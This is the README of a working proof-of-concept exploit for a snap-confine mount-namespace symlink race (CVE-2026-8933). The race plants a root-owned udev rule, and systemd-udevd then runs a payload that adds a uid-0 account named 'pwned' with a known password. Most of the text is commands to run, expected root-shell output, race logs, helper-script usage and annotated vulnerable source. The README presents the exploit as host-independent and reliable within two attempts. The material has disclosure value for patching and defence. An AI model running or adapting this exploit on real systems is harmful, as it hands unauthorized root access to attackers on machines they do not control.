
Working PoC for CVE-2026-8933: a snap-confine mount-namespace symlink race that plants a root-owned udev rule, yielding local root via systemd-udevd.
snap-confine mount-namespace race → local root shellWorking PoC. Full local privilege escalation reproduced end-to-end, from an unprivileged user (uid 1000) to a real uid-0 root shell — no password, no interaction, no pre-existing privileges.
An unprivileged process makes the set-capabilities snap-confine write a
root-owned udev rule into the host's /run/udev/rules.d/; systemd-udevd then
executes the rule's PROGRAM= payload as root. The built-in payload plants
a uid-0 account with a known password, so su - pwned (or ./_rootshell.py)
hands out a root shell.
| Component | snap-confine → sc_replicate_base_rootfs() (snapd 2.73 source in _msc_273.c; the tested host ran snapd 2.76.3 and was still exploitable) |
| Class | Local privilege escalation (symlink race → arbitrary root-owned file creation in /run/udev/** → code execution as root) |
| Result | uid=0(root) shell from an unprivileged account |
| Reliability | 16 runs: 7 succeeded on the first attempt, the rest on the second; never more than 2 |
| Portability | host-independent: target snap, app name, cgroup scope, uid and snap-confine path are all detected at run time |
| Root needed | none (see §9) |
Contents
TL;DR · 1. Quick start · 2. Requirements · 3. What you should see · 4. The bug · 5. Winning the races · 6. Payload · 7. Package contents · 8. Configuration · 9. Privileges & cleanup · 10. Impact & fix · Troubleshooting · References · Disclaimer
cd <package dir>
bash _t18poc.sh 100% 12 # ~1–2 min, no password required
Expected output (abridged):
### 1. win race 1 + race 2 and plant the udev rule
[PASS] root-owned udev rule planted on attempt 1
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
content: PROGRAM="/tmp/8933-payload.sh"
### 2. make systemd-udevd execute the payload as root (FUSE mount trigger)
[PASS] udev ran the payload as: uid=0(root) gid=0(root) groups=0(root)
[PASS] uid-0 account planted: pwned:$6$...:0:0:root:/root:/bin/bash
### 3. root shell
credentials: pwned / pwned (uid 0)
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
The driver cleans up after itself (rule, payload, planted account, scratch
directories and their mounts). KEEP=1 keeps the account so the root shell can
be used interactively afterwards:
KEEP=1 bash _t18poc.sh 100% 12
./_rootshell.py # interactive root shell (password typed for you)
./_rootshell.py -c 'id' # one-shot command as root
su - pwned # or just this, password: pwned
cd <package dir>
./t18 info # optional: which snap is the target?
bash _t18poc.sh 100% 12 # quota, max attempts
_t18poc.sh [quota] [attempts] builds t18 + _ftrig, detects the target,
runs the exploit until it wins, triggers udevd, verifies the root payload and
cleans up. 100% 12 is the value used for all measurements below; 0.3% 40
also works (tighter quota, more attempts).
Before touching anything the driver prints the auto-detected target:
target snap : firefox (regular files in its rootfs: 4)
snap-confine: /usr/lib/snapd/snap-confine
user scope : snap.firefox.firefox.scope
snapd : 2.76.3
cgroup.freeze on the user scope),snap-confine, installed set-capabilities
(cap_chown,cap_dac_override,cap_sys_admin,…) — not set-uid-root,gcc + libfuse3 (pkg-config fuse3) to build t18 and _ftrig,/snap/<snap>/current directory contains a
regular file at its top level — that DT_REG entry is what makes the
vulnerable open() run (e.g. firefox, core22, …). Any such snap works;
SNAP=<name> forces a specific one../t18 info prints snap, app, base, unit, scope, confine and the
number of entries/regular files of the detected target, and exits — a quick way
to see whether a host is exploitable with the snaps it has installed.
[ 22.478] marker seen (22.290 ms after start), drainer wrote cgroup.freeze=1
[ 22.713] scope frozen (procs=2, dbg: unsharing the mount namespace (per-snap))
[ 25.153] pre-bind swap: symlinks A=4 B=4 rmdir=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dA)=0 (ok)
[ 35.077] window after 39 steps: mounts=2 tmpfs=1 squashfs=0
[ 35.416] symlink swap: unlink(/tmp/snap.rootfs_bTvhoA)=0 (ok) symlink(/tmp/snap.rootfs_bTvhoA.dB)=0 (ok)
[ 35.556] symlinks in dB: 4/4 -> /run/udev/rules.d/8933-cve-1.rules
[ 41.012] spinner: rule written into the root-owned file
[ 42.362] phase 2: 180 slices, win=1 (udev rule written)
[ 42.392] snap-confine exited (status 1)
snap-confine: cannot perform operation: mount --bind /snap/<snap>/current/default256.png \
/tmp/snap.rootfs_bTvhoA/default256.png: Permission denied
The file created by the root-privileged snap-confine, on the host:
-rw-rw-rw- 1 root root 31 /run/udev/rules.d/8933-cve-1.rules
PROGRAM="/tmp/8933-payload.sh"
and the payload script it points at (written by uid 1000, executed by
systemd-udevd as uid 0):
-rwxr-xr-x 1 user user /tmp/8933-payload.sh
uid=0(root) gid=0(root) groups=0(root) <- /tmp/.pwned.root
snap-confine dies right after, on the AppArmor-denied bind mount of the same
entry — the file is already created and filled at that point.
$ echo pwned | su - pwned -c 'id; grep ^root: /etc/shadow'
Password: uid=0(root) gid=0(root) groups=0(root)
root:$6$...:20134:0:99999:7::: <- /etc/shadow is root-only
$ ./_rootshell.py # pty + auto-typed password
root@host:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
16 runs of _t18poc.sh across the research and the final generic build all
ended in the LPE (7 of them on the first attempt, the rest on the second); no
run needed more than 2 attempts. Each run cleans up after itself (rule,
payload, planted account, scratch dirs and their mounts).
snapd 2.73, sc_replicate_base_rootfs() (source in _msc_273.c):
511 if (mkdtemp(scratch_dir) == NULL) // /tmp/snap.rootfs_XXXXXX
523 sc_do_mount(scratch_dir, scratch_dir, NULL, MS_BIND, NULL);
530 sc_do_mount("none", scratch_dir, NULL, MS_UNBINDABLE, NULL);
535 sc_do_mount("none", scratch_dir, "tmpfs", 0, "uid=0,gid=0");
536 sc_replicate_base_rootfs(scratch_dir, config->rootfs_dir, config->mounts);
...
362 if (chown(scratch_dir, 0, 0) < 0) die(...);
...
418 int fd = open(full_path, O_CREAT | O_TRUNC, 0644); // no O_NOFOLLOW
422 if (fchown(fd, 0, 0) < 0) die(...);
428 sc_do_mount(src_path, full_path, NULL, MS_BIND, NULL);
snap-confine is installed set-capabilities (cap_chown, cap_dac_override,
cap_sys_admin, …), not set-uid-root, so it keeps the unprivileged euid while
carrying near-root capabilities. Consequences:
mkdtemp() creates /tmp/snap.rootfs_XXXXXX owned by the attacker
(between lines 511 and 362), andopen(full_path, O_CREAT|O_TRUNC, 0644) follows symlinks (no O_NOFOLLOW)
and the resulting file is the attacker's until the fchown() two lines later.Both windows are exploitable by an unprivileged local user, which is what this PoC does.